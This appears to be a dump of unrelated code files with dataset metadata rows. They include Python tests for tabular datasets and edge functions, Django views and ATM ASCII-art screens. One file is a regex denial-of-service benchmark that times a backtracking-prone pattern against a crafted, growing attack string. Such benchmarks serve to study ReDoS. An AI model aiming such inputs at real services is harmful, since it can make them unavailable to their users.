self.assertEqual(len(jpholiday.month_holidays(2003, 10)), 1)
self.assertEqual(len(jpholiday.month_holidays(2003, 11)), 3)
self.assertEqual(len(jpholiday.month_holidays(2003, 12)), 1)
def test_count_year(self):
"""
2003年祝日数
"""
self.assertEqual(len(jpholiday.year_holidays(2003)), 16)
| 50.538462
| 95
| 0.681507
| 339
| 2,628
| 5.135693
| 0.182891
| 0.249856
| 0.220563
| 0.238943
| 0.804136
| 0.804136
| 0.804136
| 0.778863
| 0.494543
| 0.31189
| 0
| 0.096419
| 0.171233
| 2,628
| 51
| 96
| 51.529412
| 0.702938
| 0.015601
| 0
| 0
| 0
| 0
| 0.030592
| 0
| 0
| 0
| 0
| 0
| 0.805556
| 1
| 0.083333
| false
| 0
| 0.083333
| 0
| 0.194444
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
4569af23fbf77caf6348b272823a7dba8086f912
| 5,327
|
py
|
Python
|
tests/datasets/test_tabular_data.py
|
Atharva-Phatak/torchflare
|
945f4bee73a855edd8cb19cd646731155499a27f
|
[
"Apache-2.0"
] | 86
|
2021-04-23T04:55:43.000Z
|
2022-03-08T05:25:27.000Z
|
tests/datasets/test_tabular_data.py
|
Atharva-Phatak/torchflare
|
945f4bee73a855edd8cb19cd646731155499a27f
|
[
"Apache-2.0"
] | 252
|
2021-04-20T21:48:10.000Z
|
2022-03-31T21:12:05.000Z
|
tests/datasets/test_tabular_data.py
|
Atharva-Phatak/torchflare
|
945f4bee73a855edd8cb19cd646731155499a27f
|
[
"Apache-2.0"
] | 8
|
2021-04-28T19:57:49.000Z
|
2021-08-09T02:31:35.000Z
|
# flake8 : noqa
import collections
import pandas as pd
import torch
from torchflare.datasets import TabularDataset
import pytest
from functools import partial
inputs = collections.namedtuple("inputs", ["df", "csv_path", "input_columns", "target_columns"])
df = pd.read_csv("tests/datasets/data/tabular_data/diabetes.csv")
tabular_inputs = inputs(
df=df,
csv_path="tests/datasets/data/tabular_data/diabetes.csv",
target_columns=["Outcome"],
input_columns=[col for col in df.columns if col not in ["Outcome"]],
)
class TestTabularDF:
@pytest.mark.parametrize("input_transforms", [partial(torch.tensor, dtype=torch.float), None])
def test_with_input_transforms(self, input_transforms):
ds = TabularDataset.from_df(
df=tabular_inputs.df,
input_columns=tabular_inputs.input_columns,
transforms=input_transforms,
).targets_from_df(target_columns=tabular_inputs.target_columns)
x, y = ds[0]
if input_transforms is not None:
assert x.dtype == torch.float
assert torch.is_tensor(x) is True
assert torch.is_tensor(y) is True
assert x.shape[0] == len(tabular_inputs.input_columns)
@pytest.mark.parametrize("target_transforms", [partial(torch.tensor, dtype=torch.float), None])
def test_with_target_transforms(self, target_transforms):
ds = TabularDataset.from_df(
df=tabular_inputs.df,
input_columns=tabular_inputs.input_columns,
transforms=None,
).targets_from_df(
target_columns=tabular_inputs.target_columns,
target_transforms=target_transforms,
)
x, y = ds[0]
if target_transforms is not None:
assert y.dtype == torch.float
assert torch.is_tensor(x) is True
assert torch.is_tensor(y) is True
assert x.shape[0] == len(tabular_inputs.input_columns)
def test_with_inference(self):
ds = TabularDataset.from_df(
df=tabular_inputs.df,
input_columns=tabular_inputs.input_columns,
transforms=None,
).add_test()
x = ds[0]
assert torch.is_tensor(x) is True
assert x.shape[0] == len(tabular_inputs.input_columns)
@pytest.mark.parametrize("batch_size", [1, 2, 3])
def test_batching(self, batch_size):
ds = (
TabularDataset.from_df(
df=tabular_inputs.df,
input_columns=tabular_inputs.input_columns,
transforms=None,
)
.targets_from_df(target_columns=tabular_inputs.target_columns, target_transforms=None)
.batch(batch_size=batch_size, shuffle=True)
)
x, y = next(iter(ds))
assert torch.is_tensor(x) is True
assert torch.is_tensor(y) is True
assert x.shape == (batch_size, len(tabular_inputs.input_columns))
class TestTabularCSV:
@pytest.mark.parametrize("input_transforms", [partial(torch.tensor, dtype=torch.float), None])
def test_with_input_transforms(self, input_transforms):
ds = TabularDataset.from_csv(
csv_path=tabular_inputs.csv_path,
input_columns=tabular_inputs.input_columns,
transforms=input_transforms,
).targets_from_df(target_columns=tabular_inputs.target_columns)
x, y = ds[0]
if input_transforms is not None:
assert x.dtype == torch.float
assert torch.is_tensor(x) is True
assert torch.is_tensor(y) is True
assert x.shape[0] == len(tabular_inputs.input_columns)
@pytest.mark.parametrize("target_transforms", [partial(torch.tensor, dtype=torch.float), None])
def test_with_target_transforms(self, target_transforms):
ds = TabularDataset.from_csv(
csv_path=tabular_inputs.csv_path,
input_columns=tabular_inputs.input_columns,
transforms=None,
).targets_from_df(
target_columns=tabular_inputs.target_columns,
target_transforms=target_transforms,
)
x, y = ds[0]
if target_transforms is not None:
assert y.dtype == torch.float
assert torch.is_tensor(x) is True
assert torch.is_tensor(y) is True
assert x.shape[0] == len(tabular_inputs.input_columns)
def test_with_inference(self):
ds = TabularDataset.from_csv(
csv_path=tabular_inputs.csv_path,
input_columns=tabular_inputs.input_columns,
transforms=None,
).add_test()
x = ds[0]
assert torch.is_tensor(x) is True
assert x.shape[0] == len(tabular_inputs.input_columns)
@pytest.mark.parametrize("batch_size", [1, 2, 3])
def test_batching(self, batch_size):
ds = (
TabularDataset.from_csv(
csv_path=tabular_inputs.csv_path,
input_columns=tabular_inputs.input_columns,
transforms=None,
)
.targets_from_df(target_columns=tabular_inputs.target_columns, target_transforms=None)
.batch(batch_size=batch_size, shuffle=True)
)
x, y = next(iter(ds))
assert torch.is_tensor(x) is True
assert torch.is_tensor(y) is True
assert x.shape == (batch_size, len(tabular_inputs.input_columns))
| 37.251748
| 99
| 0.653276
| 667
| 5,327
| 4.965517
| 0.103448
| 0.121679
| 0.086957
| 0.120773
| 0.894928
| 0.894928
| 0.894928
| 0.871377
| 0.871377
| 0.871377
| 0
| 0.004765
| 0.251549
| 5,327
| 142
| 100
| 37.514085
| 0.825934
| 0.00244
| 0
| 0.803279
| 0
| 0
| 0.043863
| 0.016943
| 0
| 0
| 0
| 0
| 0.213115
| 1
| 0.065574
| false
| 0
| 0.04918
| 0
| 0.131148
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
45d5cf03363ea5180b82482e928f9d07c9c83642
| 116
|
py
|
Python
|
platform/hwconf_data/efr32mg21/PythonSnippet/__init__.py
|
lenloe1/v2.7
|
9ac9c4a7bb37987af382c80647f42d84db5f2e1d
|
[
"Zlib"
] | null | null | null |
platform/hwconf_data/efr32mg21/PythonSnippet/__init__.py
|
lenloe1/v2.7
|
9ac9c4a7bb37987af382c80647f42d84db5f2e1d
|
[
"Zlib"
] | 1
|
2020-08-25T02:36:22.000Z
|
2020-08-25T02:36:22.000Z
|
platform/hwconf_data/efr32mg21/PythonSnippet/__init__.py
|
lenloe1/v2.7
|
9ac9c4a7bb37987af382c80647f42d84db5f2e1d
|
[
"Zlib"
] | 1
|
2020-08-25T01:56:04.000Z
|
2020-08-25T01:56:04.000Z
|
from efr32mg21.halconfig import halconfig_types as types
from efr32mg21.halconfig import halconfig_dependency as dep
| 58
| 59
| 0.887931
| 16
| 116
| 6.3125
| 0.5
| 0.257426
| 0.435644
| 0.554455
| 0.732673
| 0
| 0
| 0
| 0
| 0
| 0
| 0.07619
| 0.094828
| 116
| 2
| 59
| 58
| 0.885714
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 8
|
45d8ebec9933204fe39281ac0db27caf2aad7de7
| 66
|
py
|
Python
|
marble_match/database/__init__.py
|
ConstObject/marble-match-manager
|
abb7354656685482cc7289e8f6c68483af615e33
|
[
"MIT"
] | 1
|
2021-04-02T21:09:46.000Z
|
2021-04-02T21:09:46.000Z
|
marble_match/database/__init__.py
|
ConstObject/marble-match-manager
|
abb7354656685482cc7289e8f6c68483af615e33
|
[
"MIT"
] | 7
|
2021-04-02T07:34:03.000Z
|
2021-06-11T07:11:55.000Z
|
marble_match/database/__init__.py
|
ConstObject/marble-match-manager
|
abb7354656685482cc7289e8f6c68483af615e33
|
[
"MIT"
] | null | null | null |
import database.database_setup
import database.database_operation
| 22
| 34
| 0.909091
| 8
| 66
| 7.25
| 0.5
| 0.482759
| 0.758621
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.060606
| 66
| 2
| 35
| 33
| 0.935484
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
b30260aa0269d24637d02dd2a447560d98b5a322
| 1,381
|
py
|
Python
|
regexlib/2021-5-15/python_re2_test_file/regexlib_1.py
|
yetingli/ReDoS-Benchmarks
|
f5b5094d835649e957bf3fec6b8bd4f6efdb35fc
|
[
"MIT"
] | 1
|
2022-01-24T14:43:23.000Z
|
2022-01-24T14:43:23.000Z
|
regexlib/python_re2_test_file/regexlib_1.py
|
yetingli/ReDoS-Benchmarks
|
f5b5094d835649e957bf3fec6b8bd4f6efdb35fc
|
[
"MIT"
] | null | null | null |
regexlib/python_re2_test_file/regexlib_1.py
|
yetingli/ReDoS-Benchmarks
|
f5b5094d835649e957bf3fec6b8bd4f6efdb35fc
|
[
"MIT"
] | null | null | null |
# 1
# ([\d\w-.]+?\.(a[cdefgilmnoqrstuwz]|b[abdefghijmnorstvwyz]|c[acdfghiklmnoruvxyz]|d[ejkmnoz]|e[ceghrst]|f[ijkmnor]|g[abdefghilmnpqrstuwy]|h[kmnrtu]|i[delmnoqrst]|j[emop]|k[eghimnprwyz]|l[abcikrstuvy]|m[acdghklmnopqrstuvwxyz]|n[acefgilopruz]|om|p[aefghklmnrstwy]|qa|r[eouw]|s[abcdeghijklmnortuvyz]|t[cdfghjkmnoprtvwz]|u[augkmsyz]|v[aceginu]|w[fs]|y[etu]|z[amw]|aero|arpa|biz|com|coop|edu|info|int|gov|mil|museum|name|net|org|pro)(\b|\W(?<!&|=)(?!\.\s|\.{3}).*?))(\s|$)
# POLYNOMIAL
# nums:5
# POLYNOMIAL AttackString:""+"1"*10000+"◎@! _1!_1SLQ_1"
import re2 as re
from time import perf_counter
regex = """([\d\w-.]+?\.(a[cdefgilmnoqrstuwz]|b[abdefghijmnorstvwyz]|c[acdfghiklmnoruvxyz]|d[ejkmnoz]|e[ceghrst]|f[ijkmnor]|g[abdefghilmnpqrstuwy]|h[kmnrtu]|i[delmnoqrst]|j[emop]|k[eghimnprwyz]|l[abcikrstuvy]|m[acdghklmnopqrstuvwxyz]|n[acefgilopruz]|om|p[aefghklmnrstwy]|qa|r[eouw]|s[abcdeghijklmnortuvyz]|t[cdfghjkmnoprtvwz]|u[augkmsyz]|v[aceginu]|w[fs]|y[etu]|z[amw]|aero|arpa|biz|com|coop|edu|info|int|gov|mil|museum|name|net|org|pro)(\b|\W(?<!&|=)(?!\.\s|\.{3}).*?))(\s|$)"""
REGEX = re.compile(regex)
for i in range(0, 150000):
ATTACK = "" + "1" * i * 10000 + "◎@! _1!_1SLQ_1"
LEN = len(ATTACK)
BEGIN = perf_counter()
m = REGEX.search(ATTACK)
# m = REGEX.match(ATTACK)
DURATION = perf_counter() - BEGIN
print(f"{i *10000}: took {DURATION} seconds!")
| 72.684211
| 479
| 0.682114
| 205
| 1,381
| 4.560976
| 0.468293
| 0.035294
| 0.006417
| 0.042781
| 0.737968
| 0.712299
| 0.712299
| 0.712299
| 0.712299
| 0.712299
| 0
| 0.027216
| 0.068791
| 1,381
| 19
| 480
| 72.684211
| 0.698289
| 0.407676
| 0
| 0
| 0
| 0.090909
| 0.635468
| 0.57266
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.181818
| 0
| 0.181818
| 0.090909
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
b315b6a6cebe7f822fbb19364cbbd60972633723
| 3,985
|
py
|
Python
|
tests/test_edge_functions.py
|
IBM/cis-integration
|
fbf1f5c2df57b846499856ca927d2de15b4b375c
|
[
"Apache-2.0"
] | 4
|
2021-08-04T16:58:18.000Z
|
2022-02-16T03:28:46.000Z
|
tests/test_edge_functions.py
|
IBM/cis-integration
|
fbf1f5c2df57b846499856ca927d2de15b4b375c
|
[
"Apache-2.0"
] | 16
|
2021-07-13T13:50:31.000Z
|
2021-08-13T15:31:32.000Z
|
tests/test_edge_functions.py
|
IBM/cis-integration
|
fbf1f5c2df57b846499856ca927d2de15b4b375c
|
[
"Apache-2.0"
] | null | null | null |
import pytest
import os
from dotenv import load_dotenv
from src.ce import create_edge_function
import requests
import json
# custom class to be the mock return value
# will override the requests.Response returned from requests.get
class MockResponse:
# mock json() method always returns a specific testing dictionary
@staticmethod
def json():
return {"success": True}
# custom class to be a mock token
# will override request token
# class MockToken:
# mock token() method always returns a specific access token
# @staticmethod
# def token(self, dummy):
# return "test-token"
def edge_function():
return create_edge_function.EdgeFunctionCreator(
crn="testString",
app_url="test-url.com",
apikey="testString",
zone_id="testString",
domain="test-domain.com",
token="test-token"
)
def test_create_edge_action(monkeypatch):
# Any arguments may be passed and mock_get() will always return our
# mocked object, which only has the .json() method.
def mock_put(*args, **kwargs):
return MockResponse()
# def mock_token(*args, **kwargs):
# return MockToken()
# apply the monkeypatch for requests.get to mock_get
monkeypatch.setattr(requests, "request", mock_put)
# monkeypatch.setattr(create_edge_function.EdgeFunctionCreator,
# "request_token", mock_token().token)
# app.get_json, which contains requests.get, uses the monkeypatch
test_edge_function = edge_function()
result = test_edge_function.create_edge_function_action()
assert result.json()["success"] == True
def test_create_edge_trigger(monkeypatch):
# Any arguments may be passed and mock_get() will always return our
# mocked object, which only has the .json() method.
def mock_put(*args, **kwargs):
return MockResponse()
# def mock_token(*args, **kwargs):
# return MockToken()
# apply the monkeypatch for requests.get to mock_get
monkeypatch.setattr(requests, "request", mock_put)
# monkeypatch.setattr(create_edge_function.EdgeFunctionCreator,
# "request_token", mock_token().token)
# app.get_json, which contains requests.get, uses the monkeypatch
test_edge_function = edge_function()
result = test_edge_function.create_edge_function_trigger()
assert result.json()["success"] == True
def test_create_edge_www_trigger(monkeypatch):
# Any arguments may be passed and mock_get() will always return our
# mocked object, which only has the .json() method.
def mock_put(*args, **kwargs):
return MockResponse()
# def mock_token(*args, **kwargs):
# return MockToken()
# apply the monkeypatch for requests.get to mock_get
monkeypatch.setattr(requests, "request", mock_put)
# monkeypatch.setattr(create_edge_function.EdgeFunctionCreator,
# "request_token", mock_token().token)
# app.get_json, which contains requests.get, uses the monkeypatch
test_edge_function = edge_function()
result = test_edge_function.create_edge_function_www_trigger()
assert result.json()["success"] == True
def test_create_edge_wild_card_trigger(monkeypatch):
# Any arguments may be passed and mock_get() will always return our
# mocked object, which only has the .json() method.
def mock_put(*args, **kwargs):
return MockResponse()
# def mock_token(*args, **kwargs):
# return MockToken()
# apply the monkeypatch for requests.get to mock_get
monkeypatch.setattr(requests, "request", mock_put)
# monkeypatch.setattr(create_edge_function.EdgeFunctionCreator,
# "request_token", mock_token().token)
# app.get_json, which contains requests.get, uses the monkeypatch
test_edge_function = edge_function()
result = test_edge_function.create_edge_function_wild_card_trigger()
assert result.json()["success"] == True
| 33.487395
| 72
| 0.698871
| 493
| 3,985
| 5.450304
| 0.166329
| 0.102717
| 0.066989
| 0.06885
| 0.777447
| 0.756606
| 0.743952
| 0.743952
| 0.743952
| 0.727577
| 0
| 0
| 0.208281
| 3,985
| 118
| 73
| 33.771186
| 0.851664
| 0.497114
| 0
| 0.425532
| 0
| 0
| 0.066293
| 0
| 0
| 0
| 0
| 0
| 0.085106
| 1
| 0.212766
| false
| 0
| 0.12766
| 0.12766
| 0.489362
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
|
0
| 7
|
b316fcfe381f311fe3dc46b1ce31babff95852f1
| 162
|
py
|
Python
|
smart_shop/smart_shop/views.py
|
hammott/django-shop-practice
|
69de1746b360aea2f8b0e4ce6589eb5eee602d0e
|
[
"MIT"
] | null | null | null |
smart_shop/smart_shop/views.py
|
hammott/django-shop-practice
|
69de1746b360aea2f8b0e4ce6589eb5eee602d0e
|
[
"MIT"
] | 4
|
2021-03-30T13:07:11.000Z
|
2021-06-10T18:49:31.000Z
|
smart_shop/smart_shop/views.py
|
hammott/django-shop-practice
|
69de1746b360aea2f8b0e4ce6589eb5eee602d0e
|
[
"MIT"
] | null | null | null |
from django.shortcuts import render
def login(request):
return render(request, 'login.html')
def index(request):
return render (request, 'index.html')
| 18
| 41
| 0.722222
| 21
| 162
| 5.571429
| 0.52381
| 0.222222
| 0.324786
| 0.444444
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.160494
| 162
| 8
| 42
| 20.25
| 0.860294
| 0
| 0
| 0
| 0
| 0
| 0.124224
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.4
| false
| 0
| 0.2
| 0.4
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 8
|
b31b924ad22b4e6c7caa691990a87254a4633629
| 201
|
py
|
Python
|
stagecraft/apps/datasets/admin/__init__.py
|
alphagov-mirror/stagecraft
|
16afba8c0cf942279426c28c416d5dd430ae2d68
|
[
"MIT"
] | 3
|
2016-03-07T11:12:07.000Z
|
2018-04-07T21:56:27.000Z
|
stagecraft/apps/datasets/admin/__init__.py
|
alphagov-mirror/stagecraft
|
16afba8c0cf942279426c28c416d5dd430ae2d68
|
[
"MIT"
] | 81
|
2015-01-05T15:27:56.000Z
|
2021-03-24T10:51:43.000Z
|
stagecraft/apps/datasets/admin/__init__.py
|
alphagov-mirror/stagecraft
|
16afba8c0cf942279426c28c416d5dd430ae2d68
|
[
"MIT"
] | 6
|
2015-01-25T09:05:52.000Z
|
2021-04-10T20:14:58.000Z
|
from stagecraft.apps.datasets.admin.data_group import DataGroupAdmin
from stagecraft.apps.datasets.admin.data_set import DataSetAdmin
from stagecraft.apps.datasets.admin.data_type import DataTypeAdmin
| 50.25
| 68
| 0.880597
| 27
| 201
| 6.444444
| 0.481481
| 0.241379
| 0.310345
| 0.448276
| 0.603448
| 0.603448
| 0
| 0
| 0
| 0
| 0
| 0
| 0.059701
| 201
| 3
| 69
| 67
| 0.920635
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 8
|
b326eeebf23bb0e31337372a21b90fc925cbaf09
| 11,897
|
py
|
Python
|
src/views/withdrawView.py
|
shimadasoftware/ATM-Simulator
|
2d3b0cdc06f9b5a5ea2ba1b9b17053227e322dc4
|
[
"Apache-2.0"
] | 2
|
2021-09-08T16:57:51.000Z
|
2021-09-14T19:41:25.000Z
|
src/views/withdrawView.py
|
shimadasoftware/ATM-Simulator
|
2d3b0cdc06f9b5a5ea2ba1b9b17053227e322dc4
|
[
"Apache-2.0"
] | null | null | null |
src/views/withdrawView.py
|
shimadasoftware/ATM-Simulator
|
2d3b0cdc06f9b5a5ea2ba1b9b17053227e322dc4
|
[
"Apache-2.0"
] | null | null | null |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Withdraw Views
Created on Tue Aug 17 14:16:44 2021
Version: 1.0
Universidad Santo Tomás Tunja
Simulation
@author: Juana Valentina Mendoza Santamaría
@author: Alix Ivonne Chaparro Vasquez
presented to: Martha Susana Contreras Ortiz
"""
def showWithdrawal():
print("┌───────────────────────────────────────────────────────────────────────────┐")
print("| ┌─────────────────────────────────────────────────────────────────────┐ |")
print("| | | |")
print("|▓▓| . . . . |▓▓|")
print("| | o |\ /| o | | | |")
print("| | ,,_o_ | \/ |. . .,-. . .-...-... . |.-. .-. .--. |.-. | |")
print("| | c'' )? | || | | ) | ( ( || | | | ) | | |-.' | |")
print("|▓▓| '''' ' '`--| |`-´-´ ` --`|`-`|`--| '`-´ `-´`-' `-' `- |▓▓|")
print("| | ; | ._.'._.' ; | |")
print("| | `-' ' `-' | |")
print("| | ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ | |")
print("|▓▓| ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ |▓▓|")
print("| | ░░░░░░ 1) $ 100.000 ░░░░ 3) $ 500.000 ░░░░ 5) $ 1'000.000 ░░░░░ | |")
print("| | ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ | |")
print("| | ░░░░░░ 2) $ 200.000 ░░░░ 4) $ 700.000 ░░░░ 6) Other amount ░░░░░ | |")
print("|▓▓| ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ |▓▓|")
print("| | ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ | |")
print("| └─────────────────────────────────────────────────────────────────────┘ |")
print("└───────────────────────────────────────────────────────────────────────────┘")
print("| ┌─────────────────┐ ┌─────────────────┐ |")
print("| | RECEIPT | | CARD ↓ | |")
print("| └─────────────────┘ └─────────────────┘ |")
print("| ─────────────────── ┌───────────────────┐ |")
print("| └ ┘ |\____________\─────| |")
print("| ||__|░░░░░░░░░░░|___| |")
print("| └───└───────────┘───┘ |")
print("| |")
print("| ┌───────────────────────────────────────────┐ |")
print("| └───────────────────────────────────────────┘ |")
print("| |")
print("└───────────────────────────────────────────────────────────────────────────┘|\n")
def showOtherAmount():
print("┌───────────────────────────────────────────────────────────────────────────┐")
print("| ┌─────────────────────────────────────────────────────────────────────┐ |")
print("| | | |")
print("|▓▓| . . . . |▓▓|")
print("| | o |\ /| o | | | |")
print("| | ,,_o_ | \/ |. . .,-. . .-...-... . |.-. .-. .--. |.-. | |")
print("| | c'' )? | || | | ) | ( ( || | | | ) | | |-.' | |")
print("|▓▓| '''' ' '`--| |`-´-´ ` --`|`-`|`--| '`-´ `-´`-' `-' `- |▓▓|")
print("| | ; | ._.'._.' ; | |")
print("| | `-' ' `-' | |")
print("| | ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ | |")
print("|▓▓| ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ |▓▓|")
print("| | ░░Please, enter the withdrawal amount from $10.000 to $3'000.000.░░ | |")
print("| | ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ | |")
print("| | ░░░░░░░░░░░░░░░░░░░░░░░░░░ $___________ ░░░░░░░░░░░░░░░░░░░░░░░░░░ | |")
print("|▓▓| ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ |▓▓|")
print("| | ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ | |")
print("| └─────────────────────────────────────────────────────────────────────┘ |")
print("└───────────────────────────────────────────────────────────────────────────┘")
print("| ┌─────────────────┐ ┌─────────────────┐ |")
print("| | RECEIPT | | CARD ↓ | |")
print("| └─────────────────┘ └─────────────────┘ |")
print("| ─────────────────── ┌───────────────────┐ |")
print("| └ ┘ |\____________\─────| |")
print("| ||__|░░░░░░░░░░░|___| |")
print("| └───└───────────┘───┘ |")
print("| |")
print("| ┌───────────────────────────────────────────┐ |")
print("| └───────────────────────────────────────────┘ |")
print("| |")
print("└───────────────────────────────────────────────────────────────────────────┘|\n")
def showInvalidAmount():
print("┌───────────────────────────────────────────────────────────────────────────┐")
print("| ┌─────────────────────────────────────────────────────────────────────┐ |")
print("| | | |")
print("|▓▓| . . . . |▓▓|")
print("| | o |\ /| o | | | |")
print("| | ,,_o_ | \/ |. . .,-. . .-...-... . |.-. .-. .--. |.-. | |")
print("| | c'' )? | || | | ) | ( ( || | | | ) | | |-.' | |")
print("|▓▓| '''' ' '`--| |`-´-´ ` --`|`-`|`--| '`-´ `-´`-' `-' `- |▓▓|")
print("| | ; | ._.'._.' ; | |")
print("| | `-' ' `-' | |")
print("| | ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ | |")
print("|▓▓| ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ |▓▓|")
print("| | ░░ The selected amount is incorrect. ░░ | |")
print("| | ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ | |")
print("| | ░░ I'm sorry! ░░ | |")
print("|▓▓| ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ |▓▓|")
print("| | ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ | |")
print("| └─────────────────────────────────────────────────────────────────────┘ |")
print("└───────────────────────────────────────────────────────────────────────────┘")
print("| ┌─────────────────┐ ┌─────────────────┐ |")
print("| | RECEIPT | | CARD ↓ | |")
print("| └─────────────────┘ └─────────────────┘ |")
print("| ─────────────────── ┌───────────────────┐ |")
print("| └ ┘ |\____________\─────| |")
print("| ||__|░░░░░░░░░░░|___| |")
print("| └───└───────────┘───┘ |")
print("| |")
print("| ┌───────────────────────────────────────────┐ |")
print("| └───────────────────────────────────────────┘ |")
print("| |")
print("└───────────────────────────────────────────────────────────────────────────┘|\n")
def showValidAmount():
print("┌───────────────────────────────────────────────────────────────────────────┐")
print("| ┌─────────────────────────────────────────────────────────────────────┐ |")
print("| | | |")
print("|▓▓| . . . . |▓▓|")
print("| | o |\ /| o | | | |")
print("| | ,,_o_ | \/ |. . .,-. . .-...-... . |.-. .-. .--. |.-. | |")
print("| | c'' )? | || | | ) | ( ( || | | | ) | | |-.' | |")
print("|▓▓| '''' ' '`--| |`-´-´ ` --`|`-`|`--| '`-´ `-´`-' `-' `- |▓▓|")
print("| | ; | ._.'._.' ; | |")
print("| | `-' ' `-' | |")
print("| | ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ | |")
print("|▓▓| ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ |▓▓|")
print("| | ░░ The operation has been successful. ░░ | |")
print("| | ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ | |")
print("| | ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ | |")
print("|▓▓| ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ |▓▓|")
print("| | ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ | |")
print("| └─────────────────────────────────────────────────────────────────────┘ |")
